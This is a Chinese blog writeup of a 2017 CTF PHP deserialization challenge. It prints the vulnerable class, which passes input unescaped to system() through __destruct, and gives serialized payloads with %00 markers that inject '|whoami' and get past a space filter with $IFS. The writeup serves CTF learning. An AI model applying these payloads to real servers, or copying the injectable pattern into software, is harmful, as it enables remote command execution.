去年的了,之前也有研究过。只是因为感觉PHP反序列化挺好玩的所以就再研究了一遍。总之感觉反序列化漏洞挺好玩的。

题目代码:

 1 <?php
 2
 3 class home{
 4
 5     private $method;
 6     private $args;
 7     function __construct($method, $args) {
 8
 9
10         $this->method = $method;
11         $this->args = $args;
12     }
13
14     function __destruct(){
15         if (in_array($this->method, array("ping"))) {
16             call_user_func_array(array($this, $this->method), $this->args);
17         }
18     }
19
20     function ping($host){
21         system("ping -c 2 $host");
22     }
23     function waf($str){
24         $str=str_replace(' ','',$str);
25         return $str;
26     }
27
28     function __wakeup(){
29         foreach($this->args as $k => $v) {
30             $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
31         }
32     }
33 }
34      $a=@$_POST['a'];
35     @unserialize($a);
36     ?>

__wakeup这个魔术方法是在反序列化后的时候执行,所以其调用链就是:

$_POST['a'] -> unserialize($a) -> __wakeup() -> __destruct()

第29行代码的意思是讲args遍历出$k和$v

然后过滤掉$v里的空格,waf这个函数也是将空格替换为空,然后赋值给$this->args[k]也就是重新赋值给属性。

然后__destruct()又判断method里是否有ping如果有执行16行。

而16行是一个回调函数(第一个参数为函数,第二个参数为传入的参数)

  那么也就是说第一个参数我们如果传入ping那么执行的也就是ping命令,所以现在可以确定$method传入的是ping

  第二个参数需要传入数组,因为29行的时候有遍历这个$args且数组里不能有空格,可以尝试传入array("127.0.0.1|whoami")那么我们可以尝试如下写出EXP

1 <?php
2
3 include "home.php";
4 $data = new home("ping",array('127.0.0.1|whoami'));
5 echo serialize($data);
6
7  ?>

空格绕过方法千千万万种。随便拿一个$IFS

暂且先写whoami

payload:

  O:4:"home":2:{s:12:"homemethod";s:4:"ping";s:10:"homeargs";a:1:{i:0;s:7:";whoami";}}

但是很尴尬这个payload生成了一直没办法用。TMDGB

测试发现需要在属性的前面加上%00才行

  O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:16:"127.0.0.1|whoami";}}

要注意火狐浏览器的hackbar发送数据包的时候会自动进行url编码,所以要解码发送才行,不然是不行的,我就是测试一直发送一直不行。还一度以为是php版本的缘故。

转载于:https://www.cnblogs.com/nul1/p/9502333.html

2017百越杯反序列化writeup相关推荐

  1. 2018“百越杯”第四届福建省高校网络空间安全大赛部分题目writeup

    2018"百越杯"第四届福建省高校网络空间安全大赛writeup 0x00题目存档: 链接: https://pan.baidu.com/s/1v59VfheEC5XY8vyKvg ...

  2. 2018福建省“百越杯”CTF初赛writeup

    2018福建省"百越杯"CTF初赛writeup PWN Boring Game 题目描述 nc 117.50.59.220 12345 解题经过下载下来后有两个文件pwn和lib ...

  3. 2018 百越杯 pwn(format WriteUp)

    看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...

  4. 第五届百越杯线上赛部分WP

    Web BabyPHP 一访问容器就给了PHP代码 <?php error_reporting(1); class Read {private $var;public function file ...

  5. 百越杯 Reverse (crazy write up)

    拿到程序后,先常规跑一跑: 然后我就把它扔到IDA看看 IDA SHIFT + F12 看到flag关键字,于是我就点击进去,并查看交叉引用 由此分析可以得出,flag可能是在if判断正确后输出的 于 ...

  6. 2018 百越杯 pwn(Boring Game Write up)

    拿到题目,发现有libc库,想到应该就是要用到ret2libc了 先把pwn扔到IDA看看先 发现有明显的溢出漏洞. 发现程序是32位,且只开启了NX保护 利用思路: 1.泄漏__libc_start ...

  7. 2019百越杯初赛——哈尔的移动城堡

    0x04 哈尔的移动城堡 操作内容:下载文件,得到一个压缩包,压缩包里有两张图片,第一张 102%,打开winhex,改文件头 把89474E50改为89504E47,再把文件的后缀名改为" ...

  8. 2017年美亚杯资格赛 个人赛 writeup

    2017年美亚杯资格赛

  9. 记2017第八届蓝桥杯决赛(国赛)—北京三日游

    离蓝桥杯国赛结束也已经有很多天了,这段时间也一直没怎么做题,也好久没打开csdn了,今天又重新捡起来,所以来随意扯一下这次的北京三日游.......啊不,2017第八届蓝桥杯. 这已经是我第二次打蓝桥 ...

  10. 2017第三届美亚杯全国电子数据取证大赛个人赛write up

    2017年美亚杯全国电子数据取证大赛 本人TEL15543132658 同wechat,欢迎多多交流,wp有不足欢迎大家补充多多探讨! Questions 1 Gary的笔记本电脑已成功取证并制作成镜 ...

最新文章

  1. Linux【命令】修改文件内容
  2. iOS pods更新失败
  3. LibreOJ #2006. 「SCOI2015」小凸玩矩阵 二分答案+二分匹配
  4. 计算机病毒的防治 教案,计算机病毒及防治教案
  5. arrays中copyof_为什么阿里巴巴开发手册明确说明 Arrays.asList() 不能使用其修改方法?...
  6. Web前端培训分享:Web前端到底是什么?
  7. [代码整洁]自我感悟
  8. zblog php版调用代码,zblogphp调用指定单篇文章代码升级版
  9. b样条曲面绘制 opengl_CAD制图软件中如何利用EXCEL输入坐标绘制曲线?
  10. 《Python数据分析常用手册》NumPy和Pandas
  11. opera for android,Opera Mobile浏览器
  12. python绘制拟合回归散点图_Python之简单线性回归
  13. 基于windows fiber的协程(coroutine)实现
  14. 黑客站在 ATM 面前,机器就直接吐出钞票,他们是怎么做到的?
  15. 教你如何用PQ魔法师调整硬盘分区大小【图解教程】
  16. 英语用法整理_用语库
  17. Mac 下修改文件的 md5 值
  18. express获取url路由地址参数的方法 获取get请求参数
  19. 计算机毕业设计Java智慧防疫上报系统小程序端(源码+系统+mysql数据库+Lw文档)
  20. Elasticsearch 基于地理位置的搜索查询

热门文章

  1. 用R语言分析我和男友的聊天记录
  2. R语言的高质量图形渲染库Cairo
  3. android apk 可以直接放在systemapp下吗,内置语音apk到/system/app下的问题
  4. 2019年老电脑E5450+硬改775 无故死机故障排除记录
  5. git 服务器上新建项目
  6. Solr7部署报错:java.lang.NoSuchMethodError: javax.servlet.ServletInputStream.isFinished()Z
  7. UVA11107 Life Forms --- 后缀数组
  8. 【转】MongoDB学习笔记(查询)
  9. DisplayX显示器测试、显示器屏幕检测
  10. 回溯法2——和尚挑水